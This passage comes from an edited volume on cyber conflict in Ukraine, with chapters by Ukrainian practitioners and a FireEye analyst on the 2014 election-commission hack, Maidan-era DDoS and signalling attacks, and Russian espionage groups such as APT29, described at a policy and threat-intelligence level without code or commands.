Finally, it is hard to say what current cyber operations may come to light in the future.
However, in mid- 2015, the preponderance of evidence suggests that the easy assumption that cyber attacks would unquestionably be used in modern warfare has come up wanting.
11 Alas, one of the greatest quotes in international relations of the 20th century may have been misunderstood, as Chou was actually referring to French protests of 1968.
However, a diplomat present at the time said Chous comment was too delicious to invite correction.
Dean Nicholas Zhou Enlais Famous Saying Debunked, History Today, 15 June 2011, http://www.history- today.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked.
http://www.historytoday.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked http://www.historytoday.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked 55 Revolution Hacking Nikolay Koval CyS Centrum LLC 1 Introduction: Cyber Conflict in Ukraine During Ukraines revolution in 2014, I served our country as the chief of its Com- puter Emergency Response Team (CERT-UA).1 During my tenure, we responded to a wide variety of network security incidents.
I can say with great confidence that the number and severity of cyber attacks against Ukraine rose in parallel with ongoing political events.
Before the revolution, Ukraine experienced a fairly typical array of incidents, the most frequent of which were botnet-driven2 Distributed Denial of Service (DDoS) attacks.
Often, these came in retaliation for unpopular gov- ernment initiatives, such as when the authorities tried to shut down the file-sharing website www.ex.ua.
By the end of 2012, some of the publics frustration was channelled into politically motivated web- site defacements (i.e.
digital graffiti) within the governments Internet Protocol (IP) space.
In 2013, we began to discover a much more serious class of malware.
Network vandalism had given way to a surge in cyber espionage, for which commercial cyber security companies developed a list of colourful names: RedOctober, MiniDuke, NetTraveler, and many more.
1 CERT-UA lies within the State Service for Special Communications and Information Protection of Ukraine.
2 In other words, the botnets were large enough that no other amplification was needed.
Chapter 6 The number and severity of cyber attacks against Ukraine rose in parallel with ongoing political events.
http://www.ex.ua 56 Once the revolution began in February 2014, even ordinary Ukrainians became familiar with the combination of hacking and political activism, or hacktivism, in which the attackers seek to wage psychological war via the internet.
Although many people were exhausted by the momentous political events that had shaken our country, it was hard to ignore the publication of allegedly leaked Ukrainian government documents detailing a secret, fascist government agenda.
The most prominent hacktivist group was CyberBerkut,3 and it is their most famous attack which is detailed below.
In the course of so many incident responses we learned that, with sufficient evi- dence, it is usually possible to understand the general nature of an attack, including who the attackers might be and what they were seeking.
Timing, context, victim identity, and malware sophistication are good indicators.
Cutting-edge spyware is likely to be found on the computers of senior government officials or on important network nodes within national critical infrastructure.
For example, in one case, we wondered why a private sector executive had been hit, and then discovered that he had previously been a high-ranking government official.
In my opinion, CERT-UA in collaboration with network security firms such as Kaspersky Lab, Symantec, ESET, and others was usually able to detect, isolate, and eliminate serious threats to network security in Ukraine.
However, in the course of our work, we also discovered another problem that any enterprise today should seek to address: a fundamental lack of user understand- ing of cyber security.
At every institution, therefore, we tried to carry out a malware literacy campaign to teach employees how infections begin and how attackers can subsequently control their computers to steal documents, all via a tiny, unautho- rised program that can be maddeningly difficult to find.
2 Case Study: Hacking a Presidential Election The most sensational hacktivist attack took place during Ukraines presidential elec- tions.
On 21 May 2014, CyberBerkut compromised the Central Election Commis- sion (CEC), disabling core CEC network nodes and numerous components of the election system.
For nearly 20 hours, the software, which was designed to display real-time updates in the vote count, did not work properly.
On 25 May election day 12 minutes before the polls closed (19:48 EET), the attackers posted on the CEC website a picture of Ukrainian Right Sector leader Dmitry Yarosh, incorrectly claiming that he had won the election.
This image was immediately shown on Rus- sian TV channels.
It is important to note here that this attack could in no way have determined the outcome of the election.
In Ukraine, every citizen inks his or her vote on a real paper 3 For background on this hacker group, see Wikipedia entry CyberBerkut, https://en.wikipedia.org/wiki/CyberBerkut.
https://en.wikipedia.org/wiki/CyberBerkut 57 ballot, and all votes are manually verified.
Each polling station in every corner of the country physically delivers its ballots to CEC headquarters in Kyiv for aggregation, reconciliation, and determination of the final tally.
CECs information technology (IT) infrastructure is a complex, geographically distributed system designed for fault tolerance and transparency.
Polling stations have an anti-fraud design that allows monitors to detect anomalies such as dramatically swinging vote counts and report them to the appropriate authorities.
Any serious disruption during an elec- tion would generate immediate suspicion about its legitimacy, and spark a desire for a new election.
That said, I believe that we should not underestimate the ability of hackers especially those that enjoy state sponsorship to disrupt the political process of a nation.
If CECs network had not been restored by 25 May, the country would sim- ply have been unable to follow the vote count in real-time.
However, to what extent would that have caused citizens to question the integrity of the entire process?
It is hard to know.
CEC was not the only election-related site compromised.
There were many oth- ers, including some that were only tangentially related to Ukrainian politics when, for example, the word election had unfortunately appeared somewhere on the site.
But even when attacks against low-level sites were unsophisticated, and the sites basically continued to function, the attackers still got the press attention they sought.
The technical aspects of this hack also tell us something very important: the hackers were professionals.
Beyond dis- abling the site and successfully display- ing incorrect election results, CERT-UA discovered advanced cyber espionage malware on the CEC network (Sofacy/ APT28/Sednit).
These two aspects of the attack disruption and espionage may seem contradictory, but in fact they are quite complementary.
Hackers must first conduct in-depth reconnaissance of a tar- get prior to any serious attack.
To bolster its technical credentials as an elite hacker group, CyberBerkut claimed to have discovered and exploited a zero-day vulnerability in CECs Cisco ASA soft- ware.
In my opinion, it is highly unlikely that a non-state hacker group would pos- sess such a high level of technical expertise.
If CyberBerkut really did exploit a zero- day, the group is likely supported by a nation-state.
During my tenure as chief of CERT-UA, the CEC compromise was probably the most technically advanced cyber attack we investigated.
It was well planned, highly targeted, and had some (albeit limited) real-world impact.
Preparation for such an attack does not happen overnight based on our analysis of Internet Protocol (IP) activity, the attackers began their reconnaissance in mid-March 2014 more than two months prior to the election.
Neither does the level of required expertise sug- The technical aspects of this hack also tell us something very important: the hackers were professionals.
gest that this was the work of amateurs at a minimum, the hackers had gained administrator-level access to CECs network.
3 Conclusion: What Is to Be Done?
Ukraine today faces cyber security challenges on at least two fronts.
First, there are technical attacks against a wide range of network infrastructure, including individ- ual websites and whole Internet Service Providers (ISPs).
These encompass every- thing from preoperational reconnaissance to social engineering against the targets employees.
Second, there is an ongoing, content-driven information war within the online media space designed to influence and deceive the public.
More serious threats lie over the horizon.
In recent incident response activities we have discovered samples of the most advanced forms of malware, including BlackEnergy2/SandWorm, Potao, Turla/Urobros, and more.
In the face of these threats, Ukraine is currently unprepared.
At the strategic level, our senior officials are preoccupied with more pressing concerns.
At the tactical level, our law enforcement agencies still fail to grasp the basic connection between email attachments, remote administrative software, and cyber espionage.
Today, there is no unified mechanism to monitor Ukraines network space, which hinders our ability to detect cases of unauthorised access in a timely fashion.
It is time for the government of Ukraine to pay greater attention to cyber security.
Given our current national secu- rity crisis, this will not be easy.
However, in spite of the challenging environment, many positive developments are taking place in Ukraine, such as the recent transformation of Kyivs metropolitan police force.4 A similar breakthrough can take place in our cyber security domain, but it must begin with the allocation of funds to hire and retain the right personnel through competitive salaries and more attractive working conditions.
4 Laura Mills.
In Ukraines Capital, a New Show of Force, The Wall Street Journal, 6 August 2015, http://www.wsj.com/articles/ in-ukraines-capital-a-new-show-of-force-1438903782.
It is time for the govern- ment of Ukraine to pay attention to cyber security.
http://www.wsj.com/articles/in-ukraines-capital-a-new-show-of-force-1438903782 http://www.wsj.com/articles/in-ukraines-capital-a-new-show-of-force-1438903782 59 Cyber Operations at Maidan: A First-Hand Account Glib Pakharenko ISACA Kyiv 1 Introduction: Cyber Conflict in Ukraine I would like to tell the story of what I experienced in Ukraine from the autumn of 2013 until the end of 2014.
In this chapter, I will describe the nature and impact of numerous cyber attacks that took place during our revolution and the subsequent conflict between Ukraine and Russia.
As background, it is important to understand the strategic value of Ukraine to Russia.
Ukraine is the largest country in Europe, with over 42 million citizens and 27 administrative divisions.
In the past, its rich farmland and industrial base have been coveted by Russia, Turkey, Poland, and even by Nazi Germany.
Ukraine has also made significant contributions in politics the Ukrainian Cossacks created the first constitution in contemporary European history.
Following the horrors of World War II, the country continued to suffer under Soviet rule until it regained its independence in 1991.
Despite that, Russia has never really let go of Ukraine.
Ukraine has had internet connectivity since 1990.
As everywhere else in the world, it has also had its share of cyber attacks.
The majority of these have come in the form of Distributed Denial-of-Service (DDoS) incidents against politically or economically targeted websites.
During election seasons, for example, hackers have frequently gone after the websites of political parties.
In terms of cyber crime, Ukraine has long been home to carding, mobile operator fraud, spam factories, cyberlockers, pirated software, unauthorized bank transfers, and various attacks on rival businesses.
Chapter 7 60 Responsibility for the enforcement of internet security in Ukraine belongs to the Ministry of Internal Affairs (MVS) and the Security Service of Ukraine (SBU).1 Cyber security regulations are overseen by the State Service of Special Communication and Information Protection (SSSCIP),2 but the ultimate responsibility for cyber crimes has never made explicit, and in this regard there has been competition between the MVS and SBU.
Ukraines Computer Emergency Response Team was created in 2007.
National cyber security legislation is still in its nascent stages.
Many of our cur- rent laws date from the Soviet era, and need to be updated for the information age.
The national critical infrastructure domain is still largely unregulated.
Definitions related to cyber security and information security are unclear, as is the distinction between them.
Historically, the Ukrainian police have investigated straightforward cases related to illegal content, online gambling, and pornography.
Their number of qualified personnel trained in cyber security was low, with little competency in computer or network forensics.
Therefore, their most common tactic was simply to confiscate all IT equipment.
Given these circumstances, Ukraine is currently ill-prepared to combat advanced, nation-state level cyber attacks.
In the future, its specialists would like to see the arrival of more non-governmental organisation (NGO) support from the European Union and United States, with a view to implementing modern best practices and internationally recognised standards.
2 The Impact of Euromaidan The Revolution of Dignity in Ukraine began in late 2013 when citizens took to the streets to vent their fury at the decision of then-President Viktor Yanukovych not to sign an agreement of political association with the European Union (EU).
This political movement became known as Euromaidan the Ukrainian word Maidan means square in English, and refers to the main square in the capital city, Kyiv.
On November 30, mobile phone communications were systematically shut down through mobile operators, and armed police units physically attacked the protesters.
However, the population was undeterred, and by December 2, more than 500,000 people crowded into Maidan.
The sitting government made several more attempts to clear the city, using gas grenades and plastic bullets, and the author personally suffered a long-term injury from exposure to tear gas.
The crackdown eventually led to the use of lethal force,3 likely killing well over 100 protestors.4 1 The SBU is a former constituent part to the Soviet KGB, and is still coming to terms with its legacy ideology and post-Soviet corruption.
2 The SSSCIP was a former constituent part of SBU and has since had a conflicting relationship with its former parent over its role in the information security arena.
3 The author believes that Russian Security Services took part in these killings.
4 List of people killed during Euromaidan, Wikipedia, https://en.wikipedia.org/wiki/List_of_people_killed_during_Euro- maidan.
https://en.wikipedia.org/wiki/List_of_people_killed_during_Euromaidan https://en.wikipedia.org/wiki/List_of_people_killed_during_Euromaidan 61 The cyber attacks began on 2 December 2013 when it was clear that protest- ers were not going to leave Maidan.
Opposition websites were targeted by DDoS attacks, the majority of which came from commercial botnets employing Black- Energy and Dirt Jumper malware.
Police confiscated mobile phones to acquire the protestors web, email, social media, and financial activities.
In one case, pornographic images were uploaded to a protestors social media account, and were later used to prosecute him.
Police seized comput- ers from the opposition partys premises, and according to one city official, the lighting in city hall (which had been a base of opposition activity) was switched off remotely, via the internet.
Opposition activists also conducted cyber attacks against the Ukrainian Gov- ernment, using tools such as the Low Orbit Ion Cannon (LOIC) to launch DDoS attacks on the Presidents website.
When one group of protestors entered the Minis- try of Energy, the organisation sounded a red alert at Ukrainian nuclear facilities, due to the fact that the national electricity grid is remotely controlled via the inter- net from headquarters.
During this period of intense cyber attacks in Ukraine, cyber criminal organi- sations proactively reduced their use of the Ukrainian Internet Protocol (IP) space, rerouting their malware communications through Internet Service Providers (ISP) in Belarus and Cyprus, which meant that, for the first time in years, Ukraine was not listed among the leading national purveyors of cyber crime.5 The largest and most sophisticated attacks coincided with the lethal shooting of protestors in Maidan (February 18-20, 2014).
The mobile phones of opposition par- liament members were flooded with SMS messaging and telephone calls in an effort to prevent them from communicating and coordinating defences.
One precision attack (which targeted the protesters on only one street in Kyiv) entailed spamming the IMSI catcher device on mobile phones with fake SMS messages, threatening the recipient with prosecution for participation in the protest.6 In western Ukraine, the Government turned off the main opposition TV chan- nel, and when protesters decided to enter police departments, those facilities were disconnected from the Public Switched Telephone Network (PSTN) and internet.
Despite all of these police actions, the now-radicalised protesters were unbowed, and continued their revolutionary campaign.
Therefore, on February 22, 2014, Ukrainian President Yanukovich fled to Russia, and a new and reformist govern- ment was established in Kyiv.
5 HostExploit analysis, http://hostexploit.com/.
6 This tactic has also been used by Russian military units in eastern Ukraine.
The cyber attacks began on 2 December 2013 when it was clear that protesters were not going to leave Maidan.
http://hostexploit.com/ 62 3 Crimea and Donbass By the end of April 2014, the Russian Government had responded to these events by occupying and annexing the Ukrainian peninsula of Crimea, as well as military intervention in eastern Ukraine, where hostilities continue to this day.
From the start of its Crimean operation, the Russian army moved to gain con- trol of the peninsulas telecommunications infrastructure, severing cables and rout- ing calls through Russian mobile operators.
Ukrainian media companies lost their physical assets in Crimea, and local television programming shifted from Ukrainian to Russian channels.
With physical access to its control infrastructure, Russia also commandeered the Ukrainian national satellite platform Lybid.
In Kyiv, as soon as the Russian military occupied Crimea, the inter- nal security staff of one of Ukraines largest mobile operators immedi- ately demanded the severing of com- munications links between Ukraine and the occupied territory.
However, its pro-Russian management refused, and maintained unrestricted connectivity as long as possible, likely so that Russian secu- rity services could retain access to its internal systems, for intelligence gathering and other information operations.
Ukrainian mobile operators saw an increase in the volume of cyber crime ema- nating from Crimea, and it is likely that Russian security services acquired intelli- gence from information collected in this way.
Pro-Russia media, discussion forums, and social network groups were active in propaganda dissemination.
The Crimea campaign was even buttressed by mass changes in Wikipedia, where Russian propaganda teams altered articles related to the events taking place there.
Today in Crimea, Russian authorities have implemented content filtering for internet access, including the censorship of Ukrainian news sites.
In November 2014, Russia announced it would create a cyber warfare-specific military unit in Crimea.
Pro-Ukrainian hackers have attacked Crimean websites during the occupation, such as that of the Crimean Parliament7 and a site linking to public web cameras.8 They have also released allegedly official Russian documents related to the conflict which were claimed to be stolen from Russian government servers.9 As the conflict shifted to Donbass, cyberspace played an increasingly import- ant role in military operations.
Physical attacks destroyed cabling, broadcast infra- 7 Vulnerabilities in www.rada.crimea.ua,12 March 2014, Websecurity http://websecurity.com.ua/7041/.
8 Ukrainian Cyber Army: video intelligence, Websecurity April 23, 2015, http://websecurity.com.ua/7717/.
9 Aric Toler.
Russian Official Account of Attack on Ukraine Border Guards, bellingcat, 30 May 2015 https://www.bellingcat.
com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/.
From the start of its Crimean operation, the Russian army moved to gain control of tele- communications infrastructure.
http://www.rada.crimea.ua,12 http://websecurity.com.ua/7041/ http://websecurity.com.ua/7717/ https://www.bellingcat.com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/ https://www.bellingcat.com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/ 63 structure, and ATM networks, and this served to isolate the region from Ukrainian media, communications, and financial services.10 Military operations were coordi- nated with propaganda disseminated on Russian TV channels and internet-based media.
Finally, the occupation army performs regular forensics checks on comput- ers and mobile devices owned by the population in eastern Ukraine.
Russian signals intelligence (SIGINT), including cyber espionage, has allowed for very effective combat operations planning against the Ukrainian army.
Artil- lery fire can be adjusted based on location data gleaned from mobile phones and Wi-Fi networks.11 GPS signals can also be used to jam aerial drones.
Ukrainian mobile traffic can be rerouted through Russian GSM infrastructure via a GSM signalling level (SS7) attack12 in one case, this was accomplished through malicious VLR/HLR updates that were not properly filtered.
Russian Security Services also use the internet to recruit mercenaries.
Generally speaking, the computer systems and mobile communications of Ukrainian government, military, and critical infrastructure are under permanent attack, and their communications are routinely intercepted and analysed for infor- mation of intelligence value.
There are also many attacks on Ukrainian businesses: examples include the Ukrainian Railway Company, Kievstar mobile operator,13 a SMART-TV retail shop,14 and a city billboard.15 4 Cyber Tactics Cyberspace is a complex domain.
In the Ukraine conflict, we have seen many dif- ferent types of actors, tools, and tactics.
Hacktivists have used the Low Orbit Ion Cannon criminals have used malware like Blackenergy and DirtJumper.
But with cyber attacks, attribution and motive are not always clear, and the level of decep- tion is high.
The pro-Russia hacker groups Cyberberkut and Cyber-riot Novoris- sia have conducted DDoS attacks and released stolen email and office documents from Ukrainian officials.
Russian media, parliament members, and pro-Russian 10 Some attacks against telecom infrastructure took place in Kyiv as well.
11 In the area of ATO proposes to ban military use mobile phones, , 12 May 2015 http://golosukraine.com/publi- cation/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/.VYbMdnWlyko.
12 How the Russians attacked Ukrainian mobile operators, Delo.ua, 26 May 2014, http://delo.ua/tech/kak-rossijane-atakova- li-ukrainskih-mobilnyh-operatorov-237125/.
13 Kyivstar is owned and controlled by Russian business, so this attack may be from a non-Russian actor.
14 The TVs firmware was compromised, after which the TV began to display channels from of pro-Russian, separatist eastern Ukraine.
15 The billboard then displayed pro-Russian messages.
Russian signals intelligence (SIGINT) has allowed for effec- tive combat operations against the Ukrainian army.
http://golosukraine.com/publication/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/.VYbMdnWlyko http://golosukraine.com/publication/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/.VYbMdnWlyko http://delo.ua/tech/kak-rossijane-atakovali-ukrainskih-mobilnyh-operatorov-237125/ http://delo.ua/tech/kak-rossijane-atakovali-ukrainskih-mobilnyh-operatorov-237125/ 64 Ukrainian politicians often mention these groups by name, but true attribution is difficult.
For example, spam is used to deliver news about their operations.16 For DDoS, various types of network flooding have been used against web and DNS servers from spoofed source IPs.17 Sometimes, the attacks overwhelmed inter- net channel bandwidth at other times, they affected the capability of an internet router to process packets.
The offending bots were located all over the world, but when Ukrainian ISPs began to filter traf- fic based on national IP ranges, the point of attack simply shifted to Ukrainian bots, which served to defeat this protection measure.
During the revolution in Ukraine, DDoS attacks lasted up to weeks at a time, which had never been seen before.
Cloud DDoS protection services provided some relief, but the attackers could usually find some worthwhile computer to shut down, such as when they blocked updates to an online media portal.
Over time, computer security companies have improved their ability to place malware into families and attacks into campaigns.
To some degree, this helps to provide attribution, especially when some sophisticated, persistent campaigns can only be the work of nation-state actors for reasons of mission focus, cost, and the overall level of operational effort required.
Researchers believe, for example, that the Ouroboros/Snake malware family, which avoided detection for 8 years and actively targeted the Ukrainian Govern- ment, has Russian origins.18 With enough data, it is possible to see large cyber espi- onage campaigns that encompass many different types of targets it is also possible to see that they generally work within a particular time zone, such as Moscow.19 One possible Russia-based campaign against Ukraine (and other nations), called Sandworm, exploits advanced zero-day vulnerabilities and targets national critical infrastructure.20 Finally, in Operation Armageddon, researchers believe that they tied malware activity to ongoing Russian military operations in Ukraine.21 16 Even the pro-Russian NGO Mothers of Soldiers, which fights the mobilization efforts of the Ukrainian army, uses spam to distribute information.
17 The breadth of the attacks included IPv6-IPv4 to bypass DDoS filters, NTP amplification, slow HTTP POST packets against vulnerable Apache servers, DAVOSET, and SSL renegotiation against misconfigured web servers.
The maximum volume I am aware of was 30 Gbt/s.
18 David E. Sanger and Steven Erlangermarch, Suspicion Falls on Russia as Snake Cyberattacks Target Ukraines Government, New York Times, 8 March 2014, http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyber- attacks-target-ukraines-government.html?_r0.
19 APT28: A Window into Russias Cyber Espionage Operations?
FireEye, 27 October 2014, https://www.fireeye.com/blog/ threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html.
20 Stephen Ward.
iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSIGHT Partners, 14 October, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/.
21 Robert Hackett.
Russian cyberwar advances military interests in Ukraine, report says Fortune, 29 April 2015, http://fortune.
com/2015/04/29/russian-cyberwar-ukraine/.
DDoS attacks lasted up to weeks at a time, which had never been seen before.
http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html?_r0 http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html?_r0 https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html http://www.isightpartners.com/2014/10/cve-2014-4114/ http://fortune.com/2015/04/29/russian-cyberwar-ukraine/ http://fortune.com/2015/04/29/russian-cyberwar-ukraine/ 65 5 Conclusion and Recommendations Ukraine is vulnerable to Russia, both in traditional geopolitical space and in cyber- space.
In 2015, Ukrainians are still dependent on Russian web resources, including social media (Vkontakte), email (Mail.ru), search engines (Yandex), antivirus soft- ware (Kaspersky), and much more.
Our IT supply chain acquires hardware that is either produced in Russia or travels through Russia this creates vulnerabilities out of the box, and facilitates future attacks.
Whereas Russia is a world leader in cyber espionage and attack, Ukraines secu- rity services are new and inexperienced.
In the current conflict with Russia, the only option available to Ukraine is simply a self-inflicted denial-of-service: block access to pro-Russian sites, remove access to Russian TV channels, limit the use of Russian hardware and software, ban mobile phone and social network usage for Ukrainian soldiers, and sever network access with occupied eastern Ukraine.
In the future, Ukraine must modernise its cyber security legislation.
One critical aspect of that process will be transparency: it must publish proposed and new laws on government websites so that they are easy to read and understand.
In the past, even the few websites available were often knocked offline by hackers.
There have been many lessons learned.
Here are some of the authors personal recommendations to the Ukrainian Government: Clear Ukrainian IP space of botnets and misconfigured servers (NTP, DNS, etc.)
that facilitate cyber attacks Remove illegal and pirated software from critical infrastructure and public agencies Reduce Ukraines IT dependency in the context of crisis scenarios Implement continuity standards for media and telecoms in conflict zones Create mechanisms to reliably deliver messages from the government to its citizens in occupied territories Incorporate anti-DDoS solutions into Internet-facing services Ensure multiple, independent routes for internet traffic between Ukraine and the rest of the world Implement effective filtering mechanisms on national traffic exchange points Develop a culture of continuous cyber attack monitoring, investiga- tion, information sharing, and research Develop strong cyber security and cryptography capabilities across Ukraine Implement effective civil society controls over unauthorised intercep- tion and collection of data Improve emergency data erasure and disaster recovery capabilities Provide resources to military and security services to effectively con- duct large-scale cyber operations and computer forensics during their missions and Ensure supply chain security for IT services coming from Russia.
Finally, the world should not underestimate Russia, which is seeking to re-es- tablish its former empire, to include Ukraine and other parts of the defunct Soviet Union and Warsaw Pact.
In the context of its wide-ranging political and military campaigns, Russia has developed a cyber attack capability that can target national critical infrastructures, via the internet, anywhere in the world.
67 Beyond Cyber War: Russias Use of Strategic Cyber Espionage and Information Operations in Ukraine Jen Weedon FireEye 1 Introduction Cyber attacks and cyber war are all too often characterised as independent phe- nomena limited to the cyber domain, somehow distinct from the broader dynamics that define a conflict.
An analysis of cyber conflict thus far suggests that such a per- ceived dichotomy is both inaccurate and unwise.
Targeted internet-based assaults cannot be divorced from their underlying geopolitical contexts, and there is small likelihood that a cyber war will ever take place that is limited only to the cyber domain.
On the contrary, governments have been shown to use cyber tools and tactics as a broad instrument of statecraft, a tool for coercion, and a complement to kinetic forces in conflict scenarios.
Moscows strategy in Ukraine has included a substantial investment in espionage and information operations, relying on the success of integrated cyber operations and computer network exploitation in particular.
Russian cyber activities have included cyber espio- nage, prepping the battlefield, selective telegraphing of capabilities, and some hints at destructive activity.
Together, these operations have no doubt inexorably contrib- uted to Moscows advantages over Kyiv, both on the ground and in shaping the con- Chapter 8 Moscows strategy in Ukraine has included a substantial investment in information operations.
68 flicts narrative in the public arena.
This orchestration should come as no surprise to Russian security analysts, as such an integrated approach is consistent with pub- lished Russian military doctrine.
Russian strategic thinkers do not consider cyber war (or even the prefix cyber) as a distinct concept.
Rather, computer network operations are tools to be integrated into broader efforts to maintain political and military dominance in a given theatre and, more broadly, in the domestic and global courts of public opinion.
This chapter will ground strategic thinking on cyber conflict against the system- atic cyber espionage that we believe Russia is leveraging in its conflict with Ukraine.
Rather than a cyber war waged in a distinct networked domain, Russias strategy has been to masterfully exploit the information gleaned from its worldwide com- puter network exploitation campaigns to inform its conduct, purposely distort pub- lic opinion, and maintain its dominant position in Ukraine.
The author will examine three types of interrelated Russian cyber operations from a technical and targeting perspective: 1.
Computer network exploitation (CNE) to gain a decisive information advantage 2.
Prepping the battlefield via denial and deception and 3.
Limited incidents of cyber disruption and destruction.
2 The Architecture and Artistry of Russias Strategic Information Theft Since the start of the Ukraine conflict, security companies have been increasingly tracking, cataloguing, and exposing sustained Russian CNE campaigns.
Overall these Russian cyber threat groups have consistently focused on clandestinely steal- ing intelligence, most likely to give the Russian Government a strategic advantage.
The targets of these operations have repeatedly included Ukrainian, European, and U.S. government targets, militaries, international and regional defence and politi- cal organisations, think tanks, media outlets, and dissidents.
While it is difficult to assess with certainty whether these cyber threat groups are directly tasked or sup- ported by Moscow, there is a growing body of evidence indicating these cyber actors are Russia-based, and that their activities highly likely benefit Moscow.
The security communitys ability to detect, track, and ultimately expose Russian cyber operations seems to have improved since the Ukraine conflict began, even rel- ative to overall trends in the industry on exposing threat activity.
While determining a direct causation between the conflict in Ukraine and a seemingly marked uptick in observable Russian cyber activity is challenging, the timing is certainly notable.
It is exceedingly unlikely that Russian actors only just started conducting aggressive CNE 69 on a global scale, so why has our ability to track and expose their activity appear to have improved?
One reason may be that Russias current national security crisis has increased its governments collections requirements to state-supported hackers, which has in turn accelerated the groups operational tempo.
As a result, it may be more dif- ficult for these actors to modify their tactics, techniques, and procedures (TTPs) on a timely basis, which often results in them tipping their hand.
To shed light on how this sustained information theft is being carried out, the following sections discuss some of the cyber tactics and compromised computer infrastructure that FireEye has associated with two prominent hacker groups that we believe operate from Russia, as well as a summary list of CNE-related activity that is likely being used to give Moscow a geopolitical and military advantage.
3 APT29 (Advanced Persistent Threat1 Group 29) APT29 is a sophisticated and highly capable Russian cyber espionage group with a diverse, constantly evolving toolset, and talented oper- ators.
The group maintains a globally dispersed and intricate attack infrastructure that doubt- less requires substantial resources to maintain.
APT29s tools often leverage legitimate web services for malware command and control mechanisms, which can make them more difficult to detect because they appear to be benign communications at first glance.
3.1 APT29s Targets: Consistent with Russian State Interests APT29 typically targets entities to steal information that is closely linked to Rus- sian geopolitical interests and priorities.
The groups recent operations suggest it is particularly focused on targets of intelligence value that are related to the Rus- sia-Ukraine crisis and related policy responses.
This includes: western governments (particularly foreign policy and defence-related targets) international security and legal institutions think tanks and educational institutions.
APT29 usually compromises its victims via socially engineered spear phishing emails either with malicious email attachments, or through a link to download a malicious file from a compromised website.
The groups decoy documents (lures) often topically align with their targets interests and work subject matter this social engineering technique is common and can be very effective.
APT29 has also been known to re-purpose and weaponise legitimate documents or information stolen from its previously compromised networks.
Example lure topics from legitimate sources include content related to European Union sanctions on Russia, a voicemail 1 We refer to groups that we assess have a nexus to state sponsorship as Advanced Persistent Threat, or APT groups.
APT29 is a highly capa- ble Russian cyber espio- nage group with a con- stantly evolving toolset.
70 attachment sent from a reporter to a think tank scholar who writes on Russia-Ukraine issues,2 a PDF report on terrorism, and discussions related to Caucasus regional development and democratisation.3 APT29 has also used less tailored and pop cul- ture-themed approaches, such as a faked e-fax, and videos of Office Monkeys.45 3.2 APT29s Tools and Infrastructure: the Work of Professionals The complex nature of APT29s malware and infrastructure (requiring significant financial resources and expertise for upkeep), combined with its operational secu- rity practices and target sets strongly suggests some level of Russian state sponsor- ship.
Its typical work hours (as defined by active operations in networks the group has compromised) fall within the UTC3 time zone, which aligns to the time zones of Moscow and St. Petersburg.
Furthermore, APT29 has been known to temporarily halt its operations on Russian holidays.6 APT29 has been highly active throughout 2015, employing new data theft tools as well as pursuing new targets for stealing information.
To maintain operational security, APT29 often configures its malware to activate only at predetermined times, and is adept at using misdirection and obfuscation TTPs7 that hinder reverse engineering and other means of analysis.
One complicated APT29 backdoor, HAM- MERTOSS, is highly capable of evading detection, particularly by its ability to mimic the behaviour of legitimate users.8 HAMMERTOSS accomplishes this stealthiness by leveraging commonly visited websites and web services to relay commands and steal data from victims.
The tool works by: Checking in and retrieving commands via legitimate web services, such as Twitter and GitHub Using compromised web servers for command and control (C2) Visiting different Twitter handles daily and automatically Using timed starts, such as communicating only after a specific date or only during the victims workweek Obtaining commands via images containing hidden and encrypted data (steganography) and Extracting information from a compromised network by uploading files to commonly used cloud storage services.9 2 The Connections Between MiniDuke, CosmicDuke and OnionDuke.
January 7, 2015.
F-Secure.
https://www.f-secure.com/ weblog/archives/00002780.html.
3 Graham Cluley.
|
85
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Operation RussianDoll: Adobe Windows Zero-Day Exploits Likely Leveraged by Russias APT28 in High- ly-Targeted Attack.
| 21,036
| 21,067
| 32
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data/reports_final/0085.txt
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Operation RussianDoll: Adobe Windows Zero-Day Exploits Likely Leveraged by Russias APT28 in High- ly-Targeted Attack.
April 18, 2015.
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html.
15 Jonathan Leathery.
Microsoft Office Zero-Day CVE-2015-2424 Leveraged By Tsar Team.. iSight Partners.
July 15, 2015.
http:// www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/.
Malware needs not only to steal information but to maintain persistent access to the victims environment.
http://www.f-secure.com/weblog/archives/00002822.html https://www.f-secure.com/weblog/archives/00002822.html https://www.f-secure.com/weblog/archives/00002822.html https://securelist.com/blog/69731/the-cozyduke-apt/ https://securelist.com/blog/69731/the-cozyduke-apt/ 72 5 A Crowded Playing Field: Additional Examples of Russian CNE Numerous cyber security companies have characterised a range of suspected Russian state-sponsored cyber activity and malware.
Overall, there are recurring themes in their findings, which suggests that Russian CNE campaigns are based on consistent taskings.
Multiple cyber espionage campaigns ongoing across the globe since at least 2007 (and no doubt much earlier) has probably given these actors a considerable information advan- tage.
A few examples are as follows.
In September 2015, Kaspersky Labs published research exposing multiple Rus- sian APT groups using and abusing satellite-based internet links (particularly IP addresses in Middle Eastern and African countries) to hide their operational command and control.
This infrastructure likely enables a high degree of oper- ational security.
One of the groups using this tactic is the same group behind the Snake/Uroburos/Turla malware, thought to be related to the infamous Agent.
BTZ, which was used to penetrate U.S. military networks as early as 2008.
Kasper- skys report outlined a specific campaign targeting government, embassies, mili- Figure 1-1 APT28 Activities Russian CNE campaigns are based on consistent taskings.
